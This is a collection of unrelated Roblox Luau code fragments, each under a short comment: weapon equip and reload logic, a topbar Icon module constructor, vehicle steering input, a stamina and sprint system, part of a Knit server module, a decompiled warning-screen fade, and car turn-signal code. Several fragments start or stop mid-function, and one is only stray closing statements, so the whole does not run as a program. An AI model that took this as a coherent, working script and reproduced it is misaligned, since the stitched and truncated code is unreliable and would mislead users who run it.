Handle.EquipSound2:Play() Handle.UnequipSound:Stop() RecoilAnim = WaitForChild(Tool, 'Recoil') ReloadAnim = WaitForChild(Tool, 'Reload') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if ReloadAnim then ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
--bullet data
local settingfolder = tool:WaitForChild("settings") local bchambered = settingfolder:WaitForChild("bchambered") local binmag = settingfolder:WaitForChild("inmag") local gunspeed = settingfolder:WaitForChild("speed") local magleft = settingfolder:WaitForChild("magleft")
-- CONSTRUCTORS
function Icon.new() local self = {} setmetatable(self, Icon) -- Maids (for autocleanup) local maid = Maid.new() self._maid = maid self._hoveringMaid = maid:give(Maid.new()) self._dropdownClippingMaid = maid:give(Maid.new()) self._menuClippingMaid = maid:give(Maid.new()) -- These are the GuiObjects that make up the icon local instances = {} self.instances = instances local iconContainer = maid:give(iconTemplate:Clone()) iconContainer.Visible = true iconContainer.Parent = topbarContainer instances["iconContainer"] = iconContainer instances["iconButton"] = iconContainer.IconButton instances["iconImage"] = instances.iconButton.IconImage instances["iconLabel"] = instances.iconButton.IconLabel instances["fakeIconLabel"] = instances.iconButton.FakeIconLabel instances["iconGradient"] = instances.iconButton.IconGradient instances["iconCorner"] = instances.iconButton.IconCorner instances["iconOverlay"] = iconContainer.IconOverlay instances["iconOverlayCorner"] = instances.iconOverlay.IconOverlayCorner instances["noticeFrame"] = instances.iconButton.NoticeFrame instances["noticeLabel"] = instances.noticeFrame.NoticeLabel instances["captionContainer"] = iconContainer.CaptionContainer instances["captionFrame"] = instances.captionContainer.CaptionFrame instances["captionLabel"] = instances.captionContainer.CaptionLabel instances["captionCorner"] = instances.captionFrame.CaptionCorner instances["captionOverlineContainer"] = instances.captionContainer.CaptionOverlineContainer instances["captionOverline"] = instances.captionOverlineContainer.CaptionOverline instances["captionOverlineCorner"] = instances.captionOverline.CaptionOverlineCorner instances["captionVisibilityBlocker"] = instances.captionFrame.CaptionVisibilityBlocker instances["captionVisibilityCorner"] = instances.captionVisibilityBlocker.CaptionVisibilityCorner instances["tipFrame"] = iconContainer.TipFrame instances["tipLabel"] = instances.tipFrame.TipLabel instances["tipCorner"] = instances.tipFrame.TipCorner instances["dropdownContainer"] = iconContainer.DropdownContainer instances["dropdownFrame"] = instances.dropdownContainer.DropdownFrame instances["dropdownList"] = instances.dropdownFrame.DropdownList instances["menuContainer"] = iconContainer.MenuContainer instances["menuFrame"] = instances.menuContainer.MenuFrame instances["menuList"] = instances.menuFrame.MenuList instances["clickSound"] = iconContainer.ClickSound -- These determine and describe how instances behave and appear self._settings = { action = { ["toggleTransitionInfo"] = {}, ["resizeInfo"] = {}, ["repositionInfo"] = {}, ["captionFadeInfo"] = {}, ["tipFadeInfo"] = {}, ["dropdownSlideInfo"] = {}, ["menuSlideInfo"] = {}, }, toggleable = { ["iconBackgroundColor"] = {instanceNames = {"iconButton"}, propertyName = "BackgroundColor3"}, ["iconBackgroundTransparency"] = {instanceNames = {"iconButton"}, propertyName = "BackgroundTransparency"}, ["iconCornerRadius"] = {instanceNames = {"iconCorner", "iconOverlayCorner"}, propertyName = "CornerRadius"}, ["iconGradientColor"] = {instanceNames = {"iconGradient"}, propertyName = "Color"}, ["iconGradientRotation"] = {instanceNames = {"iconGradient"}, propertyName = "Rotation"}, ["iconImage"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconImage"}, propertyName = "Image"}, ["iconImageColor"] = {instanceNames = {"iconImage"}, propertyName = "ImageColor3"}, ["iconImageTransparency"] = {instanceNames = {"iconImage"}, propertyName = "ImageTransparency"}, ["iconScale"] = {instanceNames = {"iconButton"}, propertyName = "Size"}, ["forcedIconSizeX"] = {}, ["forcedIconSizeY"] = {}, ["iconSize"] = {callSignals = {self.updated}, callMethods = {self._updateIconSize}, instanceNames = {"iconContainer"}, propertyName = "Size", tweenAction = "resizeInfo"}, ["iconOffset"] = {instanceNames = {"iconButton"}, propertyName = "Position"}, ["iconText"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconLabel"}, propertyName = "Text"}, ["iconTextColor"] = {instanceNames = {"iconLabel"}, propertyName = "TextColor3"}, ["iconFont"] = {callMethods = {self._updateIconSize}, instanceNames = {"iconLabel"}, propertyName = "Font"}, ["iconImageYScale"] = {callMethods = {self._updateIconSize}}, ["iconImageRatio"] = {callMethods = {self._updateIconSize}}, ["iconLabelYScale"] = {callMethods = {self._updateIconSize}}, ["noticeCircleColor"] = {instanceNames = {"noticeFrame"}, propertyName = "ImageColor3"}, ["noticeCircleImage"] = {instanceNames = {"noticeFrame"}, propertyName = "Image"}, ["noticeTextColor"] = {instanceNames = {"noticeLabel"}, propertyName = "TextColor3"}, ["noticeImageTransparency"] = {instanceNames = {"noticeFrame"}, propertyName = "ImageTransparency"}, ["noticeTextTransparency"] = {instanceNames = {"noticeLabel"}, propertyName = "TextTransparency"}, ["baseZIndex"] = {callMethods = {self._updateBaseZIndex}}, ["order"] = {callSignals = {self.updated}, instanceNames = {"iconContainer"}, propertyName = "LayoutOrder"}, ["alignment"] = {callSignals = {self.updated}, callMethods = {self._updateDropdown}}, ["iconImageVisible"] = {instanceNames = {"iconImage"}, propertyName = "Visible"}, ["iconImageAnchorPoint"] = {instanceNames = {"iconImage"}, propertyName = "AnchorPoint"}, ["iconImagePosition"] = {instanceNames = {"iconImage"}, propertyName = "Position", tweenAction = "resizeInfo"}, ["iconImageSize"] = {instanceNames = {"iconImage"}, propertyName = "Size", tweenAction = "resizeInfo"}, ["iconImageTextXAlignment"] = {instanceNames = {"iconImage"}, propertyName = "TextXAlignment"}, ["iconLabelVisible"] = {instanceNames = {"iconLabel"}, propertyName = "Visible"}, ["iconLabelAnchorPoint"] = {instanceNames = {"iconLabel"}, propertyName = "AnchorPoint"}, ["iconLabelPosition"] = {instanceNames = {"iconLabel"}, propertyName = "Position", tweenAction = "resizeInfo"}, ["iconLabelSize"] = {instanceNames = {"iconLabel"}, propertyName = "Size", tweenAction = "resizeInfo"}, ["iconLabelTextXAlignment"] = {instanceNames = {"iconLabel"}, propertyName = "TextXAlignment"}, ["iconLabelTextSize"] = {instanceNames = {"iconLabel"}, propertyName = "TextSize"}, ["noticeFramePosition"] = {instanceNames = {"noticeFrame"}, propertyName = "Position"}, ["clickSoundId"] = {instanceNames = {"clickSound"}, propertyName = "SoundId"}, ["clickVolume"] = {instanceNames = {"clickSound"}, propertyName = "Volume"}, ["clickPlaybackSpeed"] = {instanceNames = {"clickSound"}, propertyName = "PlaybackSpeed"}, ["clickTimePosition"] = {instanceNames = {"clickSound"}, propertyName = "TimePosition"}, }, other = { ["captionBackgroundColor"] = {instanceNames = {"captionFrame"}, propertyName = "BackgroundColor3"}, ["captionBackgroundTransparency"] = {instanceNames = {"captionFrame"}, propertyName = "BackgroundTransparency", group = "caption"}, ["captionBlockerTransparency"] = {instanceNames = {"captionVisibilityBlocker"}, propertyName = "BackgroundTransparency", group = "caption"}, ["captionOverlineColor"] = {instanceNames = {"captionOverline"}, propertyName = "BackgroundColor3"}, ["captionOverlineTransparency"] = {instanceNames = {"captionOverline"}, propertyName = "BackgroundTransparency", group = "caption"}, ["captionTextColor"] = {instanceNames = {"captionLabel"}, propertyName = "TextColor3"}, ["captionTextTransparency"] = {instanceNames = {"captionLabel"}, propertyName = "TextTransparency", group = "caption"}, ["captionFont"] = {instanceNames = {"captionLabel"}, propertyName = "Font"}, ["captionCornerRadius"] = {instanceNames = {"captionCorner", "captionOverlineCorner", "captionVisibilityCorner"}, propertyName = "CornerRadius"}, ["tipBackgroundColor"] = {instanceNames = {"tipFrame"}, propertyName = "BackgroundColor3"}, ["tipBackgroundTransparency"] = {instanceNames = {"tipFrame"}, propertyName = "BackgroundTransparency", group = "tip"}, ["tipTextColor"] = {instanceNames = {"tipLabel"}, propertyName = "TextColor3"}, ["tipTextTransparency"] = {instanceNames = {"tipLabel"}, propertyName = "TextTransparency", group = "tip"}, ["tipFont"] = {instanceNames = {"tipLabel"}, propertyName = "Font"}, ["tipCornerRadius"] = {instanceNames = {"tipCorner"}, propertyName = "CornerRadius"}, ["dropdownSize"] = {instanceNames = {"dropdownContainer"}, propertyName = "Size", unique = "dropdown"}, ["dropdownCanvasSize"] = {instanceNames = {"dropdownFrame"}, propertyName = "CanvasSize"}, ["dropdownMaxIconsBeforeScroll"] = {callMethods = {self._updateDropdown}}, ["dropdownMinWidth"] = {callMethods = {self._updateDropdown}}, ["dropdownSquareCorners"] = {callMethods = {self._updateDropdown}}, ["dropdownBindToggleToIcon"] = {}, ["dropdownToggleOnLongPress"] = {}, ["dropdownToggleOnRightClick"] = {}, ["dropdownCloseOnTapAway"] = {}, ["dropdownHidePlayerlistOnOverlap"] = {}, ["dropdownListPadding"] = {callMethods = {self._updateDropdown}, instanceNames = {"dropdownList"}, propertyName = "Padding"}, ["dropdownAlignment"] = {callMethods = {self._updateDropdown}}, ["dropdownScrollBarColor"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarImageColor3"}, ["dropdownScrollBarTransparency"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarImageTransparency"}, ["dropdownScrollBarThickness"] = {instanceNames = {"dropdownFrame"}, propertyName = "ScrollBarThickness"}, ["dropdownIgnoreClipping"] = {callMethods = {self._dropdownIgnoreClipping}}, ["menuSize"] = {instanceNames = {"menuContainer"}, propertyName = "Size", unique = "menu"}, ["menuCanvasSize"] = {instanceNames = {"menuFrame"}, propertyName = "CanvasSize"}, ["menuMaxIconsBeforeScroll"] = {callMethods = {self._updateMenu}}, ["menuBindToggleToIcon"] = {}, ["menuToggleOnLongPress"] = {}, ["menuToggleOnRightClick"] = {}, ["menuCloseOnTapAway"] = {}, ["menuListPadding"] = {callMethods = {self._updateMenu}, instanceNames = {"menuList"}, propertyName = "Padding"}, ["menuDirection"] = {callMethods = {self._updateMenu}}, ["menuScrollBarColor"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarImageColor3"}, ["menuScrollBarTransparency"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarImageTransparency"}, ["menuScrollBarThickness"] = {instanceNames = {"menuFrame"}, propertyName = "ScrollBarThickness"}, ["menuIgnoreClipping"] = {callMethods = {self._menuIgnoreClipping}}, } } --------------------------------- self._groupSettings = {} for _, settingsDetails in pairs(self._settings) do for settingName, settingDetail in pairs(settingsDetails) do local group = settingDetail.group if group then local groupSettings = self._groupSettings[group] if not groupSettings then groupSettings = {} self._groupSettings[group] = groupSettings end table.insert(groupSettings, settingName) settingDetail.forcedGroupValue = DEFAULT_FORCED_GROUP_VALUES[group] settingDetail.useForcedGroupValue = true end end end --------------------------------- -- The setting values themselves will be set within _settings -- Setup a dictionary to make it quick and easy to reference setting by name self._settingsDictionary = {} -- Some instances require unique behaviours. These are defined with the 'unique' key -- for instance, we only want caption transparency effects to be applied on hovering self._uniqueSettings = {} self._uniqueSettingsDictionary = {} self.uniqueValues = {} local uniqueBehaviours = { ["dropdown"] = function(settingName, instance, propertyName, value) local tweenInfo = self:get("dropdownSlideInfo") local bindToggleToIcon = self:get("dropdownBindToggleToIcon") local hidePlayerlist = self:get("dropdownHidePlayerlistOnOverlap") == true and self:get("alignment") == "right" local dropdownContainer = self.instances.dropdownContainer local dropdownFrame = self.instances.dropdownFrame local newValue = value local isOpen = true local isDeselected = not self.isSelected if bindToggleToIcon == false then isDeselected = not self.dropdownOpen end local isSpecialPressing = self._longPressing or self._rightClicking if self._tappingAway or (isDeselected and not isSpecialPressing) or (isSpecialPressing and self.dropdownOpen) then local dropdownSize = self:get("dropdownSize") local XOffset = (dropdownSize and dropdownSize.X.Offset/1) or 0 newValue = UDim2.new(0, XOffset, 0, 0) isOpen = false end -- if #self.dropdownIcons > 0 and isOpen and hidePlayerlist and self._parentIcon == nil and self._bringBackPlayerlist == nil then if #self.dropdownIcons > 0 and isOpen and hidePlayerlist then if starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) then IconController._bringBackPlayerlist = (IconController._bringBackPlayerlist and IconController._bringBackPlayerlist + 1) or 1 self._bringBackPlayerlist = true starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false) end elseif self._bringBackPlayerlist and not isOpen and IconController._bringBackPlayerlist then IconController._bringBackPlayerlist -= 1 if IconController._bringBackPlayerlist <= 0 then IconController._bringBackPlayerlist = nil starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true) end self._bringBackPlayerlist = nil end local tween = tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}) local connection connection = tween.Completed:Connect(function() connection:Disconnect() --dropdownContainer.ClipsDescendants = not self.dropdownOpen end) tween:Play() if isOpen then --dropdownFrame.CanvasPosition = self._dropdownCanvasPos else self._dropdownCanvasPos = dropdownFrame.CanvasPosition end dropdownFrame.ScrollingEnabled = isOpen -- It's important scrolling is only enabled when the dropdown is visible otherwise it could block the scrolling behaviour of other icons self.dropdownOpen = isOpen self:_decideToCallSignal("dropdown") end, ["menu"] = function(settingName, instance, propertyName, value) local tweenInfo = self:get("menuSlideInfo") local bindToggleToIcon = self:get("menuBindToggleToIcon") local menuContainer = self.instances.menuContainer local menuFrame = self.instances.menuFrame local newValue = value local isOpen = true local isDeselected = not self.isSelected if bindToggleToIcon == false then isDeselected = not self.menuOpen end local isSpecialPressing = self._longPressing or self._rightClicking if self._tappingAway or (isDeselected and not isSpecialPressing) or (isSpecialPressing and self.menuOpen) then local menuSize = self:get("menuSize") local YOffset = (menuSize and menuSize.Y.Offset/1) or 0 newValue = UDim2.new(0, 0, 0, YOffset) isOpen = false end if isOpen ~= self.menuOpen then self.updated:Fire() end if isOpen and tweenInfo.EasingDirection == Enum.EasingDirection.Out then tweenInfo = TweenInfo.new(tweenInfo.Time, tweenInfo.EasingStyle, Enum.EasingDirection.In) end local tween = tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}) local connection connection = tween.Completed:Connect(function() connection:Disconnect() --menuContainer.ClipsDescendants = not self.menuOpen end) tween:Play() if isOpen then if self._menuCanvasPos then menuFrame.CanvasPosition = self._menuCanvasPos end else self._menuCanvasPos = menuFrame.CanvasPosition end menuFrame.ScrollingEnabled = isOpen -- It's important scrolling is only enabled when the menu is visible otherwise it could block the scrolling behaviour of other icons self.menuOpen = isOpen self:_decideToCallSignal("menu") end, } for settingsType, settingsDetails in pairs(self._settings) do for settingName, settingDetail in pairs(settingsDetails) do if settingsType == "toggleable" then settingDetail.values = settingDetail.values or { deselected = nil, selected = nil, } else settingDetail.value = nil end settingDetail.additionalValues = {} settingDetail.type = settingsType self._settingsDictionary[settingName] = settingDetail -- local uniqueCat = settingDetail.unique if uniqueCat then local uniqueCatArray = self._uniqueSettings[uniqueCat] or {} table.insert(uniqueCatArray, settingName) self._uniqueSettings[uniqueCat] = uniqueCatArray self._uniqueSettingsDictionary[settingName] = uniqueBehaviours[uniqueCat] end -- end end -- Signals (events) self.updated = maid:give(Signal.new()) self.selected = maid:give(Signal.new()) self.deselected = maid:give(Signal.new()) self.toggled = maid:give(Signal.new()) self.userSelected = maid:give(Signal.new()) self.userDeselected = maid:give(Signal.new()) self.userToggled = maid:give(Signal.new()) self.hoverStarted = maid:give(Signal.new()) self.hoverEnded = maid:give(Signal.new()) self.dropdownOpened = maid:give(Signal.new()) self.dropdownClosed = maid:give(Signal.new()) self.menuOpened = maid:give(Signal.new()) self.menuClosed = maid:give(Signal.new()) self.notified = maid:give(Signal.new()) self._endNotices = maid:give(Signal.new()) self._ignoreClippingChanged = maid:give(Signal.new()) -- Connections -- This enables us to chain icons and features like menus and dropdowns together without them being hidden by parent frame with ClipsDescendants enabled local function setFeatureChange(featureName, value) local parentIcon = self._parentIcon self:set(featureName.."IgnoreClipping", value) if value == true and parentIcon then local connection = parentIcon._ignoreClippingChanged:Connect(function(_, value) self:set(featureName.."IgnoreClipping", value) end) local endConnection endConnection = self[featureName.."Closed"]:Connect(function() endConnection:Disconnect() connection:Disconnect() end) end end self.dropdownOpened:Connect(function() setFeatureChange("dropdown", true) end) self.dropdownClosed:Connect(function() setFeatureChange("dropdown", false) end) self.menuOpened:Connect(function() setFeatureChange("menu", true) end) self.menuClosed:Connect(function() setFeatureChange("menu", false) end) --]] -- Properties self.deselectWhenOtherIconSelected = true self.name = "" self.isSelected = false self.presentOnTopbar = true self.accountForWhenDisabled = false self.enabled = true self.hovering = false self.tipText = nil self.captionText = nil self.totalNotices = 0 self.notices = {} self.dropdownIcons = {} self.menuIcons = {} self.dropdownOpen = false self.menuOpen = false self.locked = false self.topPadding = UDim.new(0, 4) self.targetPosition = nil self.toggleItems = {} self.lockedSettings = {} self.UID = httpService:GenerateGUID(true) self.blockBackBehaviourChecks = {} -- Private Properties self._draggingFinger = false self._updatingIconSize = true self._previousDropdownOpen = false self._previousMenuOpen = false self._bindedToggleKeys = {} self._bindedEvents = {} -- Apply start values self:setName("UnnamedIcon") self:setTheme(DEFAULT_THEME, true) -- Input handlers -- Calls deselect/select when the icon is clicked --[[instances.iconButton.MouseButton1Click:Connect(function() if self.locked then return end if self._draggingFinger then return false elseif self.isSelected then self:deselect() return true end self:select() end)--]] instances.iconButton.MouseButton1Click:Connect(function() if self.locked then return end if self.isSelected then self:deselect() self.userDeselected:Fire() self.userToggled:Fire(false) return true end self:select() self.userSelected:Fire() self.userToggled:Fire(true) end) instances.iconButton.MouseButton2Click:Connect(function() self._rightClicking = true if self:get("dropdownToggleOnRightClick") == true then self:_update("dropdownSize") end if self:get("menuToggleOnRightClick") == true then self:_update("menuSize") end self._rightClicking = false end) -- Shows/hides the dark overlay when the icon is presssed/released instances.iconButton.MouseButton1Down:Connect(function() if self.locked then return end self:_updateStateOverlay(0.7, Color3.new(0, 0, 0)) end) instances.iconButton.MouseButton1Up:Connect(function() if self.overlayLocked then return end self:_updateStateOverlay(0.9, Color3.new(1, 1, 1)) end) -- Tap away + KeyCode toggles userInputService.InputBegan:Connect(function(input, touchingAnObject) local validTapAwayInputs = { [Enum.UserInputType.MouseButton1] = true, [Enum.UserInputType.MouseButton2] = true, [Enum.UserInputType.MouseButton3] = true, [Enum.UserInputType.Touch] = true, } if not touchingAnObject and validTapAwayInputs[input.UserInputType] then self._tappingAway = true if self.dropdownOpen and self:get("dropdownCloseOnTapAway") == true then self:_update("dropdownSize") end if self.menuOpen and self:get("menuCloseOnTapAway") == true then self:_update("menuSize") end self._tappingAway = false end -- if self._bindedToggleKeys[input.KeyCode] and not touchingAnObject and not self.locked then if self.isSelected then self:deselect() self.userDeselected:Fire() self.userToggled:Fire(false) else self:select() self.userSelected:Fire() self.userToggled:Fire(true) end end -- end) -- hoverStarted and hoverEnded triggers and actions -- these are triggered when a mouse enters/leaves the icon with a mouse, is highlighted with -- a controller selection box, or dragged over with a touchpad self.hoverStarted:Connect(function(x, y) self.hovering = true if not self.locked then self:_updateStateOverlay(0.9, Color3.fromRGB(255, 255, 255)) end self:_updateHovering() end) self.hoverEnded:Connect(function() self.hovering = false self:_updateStateOverlay(1) self._hoveringMaid:clean() self:_updateHovering() end) instances.iconButton.MouseEnter:Connect(function(x, y) -- Mouse (started) self.hoverStarted:Fire(x, y) end) instances.iconButton.MouseLeave:Connect(function() -- Mouse (ended) self.hoverEnded:Fire() end) instances.iconButton.SelectionGained:Connect(function() -- Controller (started) self.hoverStarted:Fire() end) instances.iconButton.SelectionLost:Connect(function() -- Controller (ended) self.hoverEnded:Fire() end) instances.iconButton.MouseButton1Down:Connect(function() -- TouchPad (started) if self._draggingFinger then self.hoverStarted:Fire() end -- Long press check local heartbeatConnection local releaseConnection local longPressTime = 0.7 local endTick = tick() + longPressTime heartbeatConnection = runService.Heartbeat:Connect(function() if tick() >= endTick then releaseConnection:Disconnect() heartbeatConnection:Disconnect() self._longPressing = true if self:get("dropdownToggleOnLongPress") == true then self:_update("dropdownSize") end if self:get("menuToggleOnLongPress") == true then self:_update("menuSize") end self._longPressing = false end end) releaseConnection = instances.iconButton.MouseButton1Up:Connect(function() releaseConnection:Disconnect() heartbeatConnection:Disconnect() end) end) if userInputService.TouchEnabled then instances.iconButton.MouseButton1Up:Connect(function() -- TouchPad (ended), this was originally enabled for non-touchpads too if self.hovering then self.hoverEnded:Fire() end end) -- This is used to highlight when a mobile/touch device is dragging their finger accross the screen -- this is important for determining the hoverStarted and hoverEnded events on mobile local dragCount = 0 userInputService.TouchMoved:Connect(function(touch, touchingAnObject) if touchingAnObject then return end self._draggingFinger = true end) userInputService.TouchEnded:Connect(function() self._draggingFinger = false end) end -- Finish self._updatingIconSize = false self:_updateIconSize() IconController.iconAdded:Fire(self) return self end
--Interpret input
local function getInputValues() if UserInputService:GetLastInputType() ~= Enum.UserInputType.Touch then ---Let the control module handle all none-touch controls script.Steering.Value = SteerLeftValue - SteerRightValue script.Throttle.Value = ThrottleValue - BrakeValue script.HandBrake.Value = HandBrakeValue else --The vehicle gui handles all the touch controls script.Throttle.Value = VehicleGui.throttleInput script.Steering.Value = VehicleGui.steeringInput script.HandBrake.Value = VehicleGui.handBrakeInput end end
--// Set up
for L_18_forvar1, L_19_forvar2 in pairs(game.Players:GetChildren()) do if L_19_forvar2:IsA('Player') and L_19_forvar2.Character and L_19_forvar2.Character:FindFirstChild('Head') ~= nil and L_19_forvar2.Character.Humanoid and L_19_forvar2.Character.Humanoid.Health > 0 then if L_19_forvar2.TeamColor == L_1_.TeamColor then if L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadName.Value ~= '' then spawnTag(L_19_forvar2.Character, L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadColor.Value) else spawnTag(L_19_forvar2.Character, Color3.fromRGB(255,255,255)) end end; end; end
--]
isRunning = false --Is the character running? isExhuasted = false --Is the character exhausted? player = game.Players.LocalPlayer --The player staminaGui.Parent = player.PlayerGui --Sets the stamina Gui's parent to the playerGui (therefore making it visible) UserInputService.InputBegan:Connect(function(input) local character = game.Workspace:WaitForChild(player.Name) if input.KeyCode == Enum.KeyCode.LeftShift then if stamina >= minStaminaToRun then if isExhuasted == false then isRunning = true character.Humanoid.WalkSpeed = runSpeed RunService.RenderStepped:Connect(function() if isExhuasted == true then isRunning = false character.Humanoid.WalkSpeed = defaultWalkSpeed end end) else isRunning = false character.Humanoid.WalkSpeed = defaultWalkSpeed end end end end) UserInputService.InputEnded:Connect(function(input) local character = game.Workspace:WaitForChild(player.Name) if input.KeyCode == Enum.KeyCode.LeftShift then isRunning = false character.Humanoid.WalkSpeed = defaultWalkSpeed end end) RunService.RenderStepped:Connect(function() if stamina > 0 then isExhuasted = false else isExhuasted = true isRunning = false end staminaGui.StaminaFrame.Bar.Size = UDim2.new(stamina / maxStamina, 0, 1, 0) staminaGui.StaminaFrame.StaminaLabel.Text = "Stamina: "..stamina.."/"..maxStamina end) while wait(1) do if isRunning == true then stamina -= staminaPerSecond else if stamina < maxStamina then stamina += staminaRegenPerSecond end end end
-- warn(rayResult)
end -- варианты приоритета для целей: -- ближний/дальний к турели/кристалу -- сильный/слабый -- земля/воздух -- случайный end end end end end return target, rayResult end
--[[ Fired when Game is entered, throwing out a player state update, as well as transitioning the player state ]]
function Transitions.onEnterGame(stateMachine, event, from, to, playerComponent) Logger.trace(playerComponent.player.Name, " state change: ", from, " -> ", to) playerComponent:updateStatus("currentState", to) PlayerGame.enter(stateMachine, playerComponent) end
-- Custom validation function that can be replaced by the developer
function TeleportToPlayer.validate( _playerToTeleport: Player, _destinationPlayer: Player, _teleportPoint: CFrame ): boolean return true end function TeleportToPlayer.setTeleportationValidator(newValidator) assert(typeof(newValidator) == "function", "setTeleportationValidator expects a function as its first argument") TeleportToPlayer.validate = newValidator end return TeleportToPlayer
--[=[ @prop Util Folder @within KnitServer @readonly References the Util folder. Should only be accessed when using Knit as a standalone module. If using Knit from Wally, modules should just be pulled in via Wally instead of relying on Knit's Util folder, as this folder only contains what is necessary for Knit to run in Wally mode. ]=]
KnitServer.Util = script.Parent.Parent local SIGNAL_MARKER = newproxy(true) getmetatable(SIGNAL_MARKER).__tostring = function() return "SIGNAL_MARKER" end local PROPERTY_MARKER = newproxy(true) getmetatable(PROPERTY_MARKER).__tostring = function() return "PROPERTY_MARKER" end local knitRepServiceFolder = Instance.new("Folder") knitRepServiceFolder.Name = "Services" local Promise = require(KnitServer.Util.Promise) local Comm = require(KnitServer.Util.Comm) local ServerComm = Comm.ServerComm local services: { [string]: Service } = {} local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function DoesServiceExist(serviceName: string): boolean local service: Service? = services[serviceName] return service ~= nil end
-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0) local EnemyReticleColor = Color3.new(1, 0, 0) local NeutralReticleColor = Color3.new(1, 1, 1) local Spread = MinSpread local AmmoInClip = ClipSize local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local Barrel = WaitForChild(Tool, 'Flare') local WeaponGui = nil local LeftButtonDown local Reloading = false local IsShooting = false local Pitch = script.Parent.Handle.FireSound
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__2 = game.Players.LocalPlayer; local v4 = game["Run Service"]; local l__TweenService__5 = game:GetService("TweenService"); local l__UserInputService__6 = game:GetService("UserInputService"); local l__WarningScreen__7 = script.Parent:WaitForChild("WarningScreen"); l__WarningScreen__7.Visible = true; local v8 = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut); wait(0.5); if not game:IsLoaded() then game.Loaded:Wait(); end; wait(2); l__UserInputService__6.InputChanged:Wait(); local u1 = false; l__TweenService__5:Create(l__WarningScreen__7.Continue, v8, { Size = UDim2.new(1, 0, 0.15, 0) }):Play(); wait(0.5); l__TweenService__5:Create(l__WarningScreen__7.Continue, v8, { TextTransparency = 0 }):Play(); wait(0.5); l__UserInputService__6.InputBegan:Wait(); (function() if u1 == true then return; end; u1 = true; l__TweenService__5:Create(l__WarningScreen__7, v8, { BackgroundTransparency = 1, Size = UDim2.new(2, 0, 2, 0) }):Play(); for v9, v10 in pairs(l__WarningScreen__7:GetDescendants()) do if v10:IsA("TextLabel") then l__TweenService__5:Create(v10, v8, { TextTransparency = 1, TextStrokeTransparency = 1 }):Play(); elseif v10:IsA("ImageLabel") then l__TweenService__5:Create(v10, v8, { ImageTransparency = 1 }):Play(); end; end; wait(1); l__WarningScreen__7.Visible = false; l__WarningScreen__7:Destroy() end)();
--UIS.InputEnded:Connect(function(key) -- if key.KeyCode == Flash then -- flashing = false -- if not Popups_Enabled then -- if parklightActive then -- LightEvent:FireServer("Headlights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled) -- else -- LightEvent:FireServer("Headlights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled) -- end -- else -- if parklightActive then -- LightEvent:FireServer("PopupLights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled) -- else -- LightEvent:FireServer("PopupLights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled) -- end -- end -- end --end)
LightEvent:FireServer("Setup", Low_Beam_Color, High_Beam_Color, Running_Light_Color, Front_Indicator_Color, Rear_Indicator_Color, Fog_Light_Color, Popups_Enabled, Plate_Lights, Plate_Light_Color, Trunk_Lights, Mirror_Indicators, Running_Light_Location, Fade_Time, Indicator_Flash_Rate, Interior_Lights, Interior_Light_Color, Door_Functionality) autoLight() brakes() reverse() UIS.InputBegan:Connect(input) DriveSeat.ChildAdded:Connect(autoLight) DriveSeat.ChildRemoved:Connect(leavedriveseat) Values.Brake.Changed:Connect(brakes) Values.Gear.Changed:Connect(reverse) local co2 = coroutine.create(function() while wait() do if Sequential_Indicators then if LI.Value then RI.Value = false H.Value = false script.ClickOn:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() for i = 1, Sequential_Segments do LightEvent:FireServer("SignalLeft", 0, 0.02, Indicator_Type, Sequential_Indicators, i) wait(Indicator_Flash_Rate / Sequential_Segments) end wait(0.1) script.ClickOff:Play() TweenService:Create(script.Parent.LeftInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type, Sequential_Indicators, 1) wait(Indicator_Flash_Rate) else LightEvent:FireServer("SignalLeft", 0, 1, Indicator_Type, Sequential_Indicators, 1) end if RI.Value then LI.Value = false H.Value = false script.ClickOn:Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 0}):Play() for i = 1, Sequential_Segments do LightEvent:FireServer("SignalRight", 0, 0.02, Indicator_Type, Sequential_Indicators, i) wait(Indicator_Flash_Rate / Sequential_Segments) end wait(0.1) script.ClickOff:Play() TweenService:Create(script.Parent.RightInd, indgui_tweeninfo, {ImageTransparency = 1}):Play() LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type, Sequential_Indicators, 1) wait(Indicator_Flash_Rate) else LightEvent:FireServer("SignalRight", 0, 1, Indicator_Type, Sequential_Indicators, 1) end if H.Value then LI.Value = false RI.Value = false 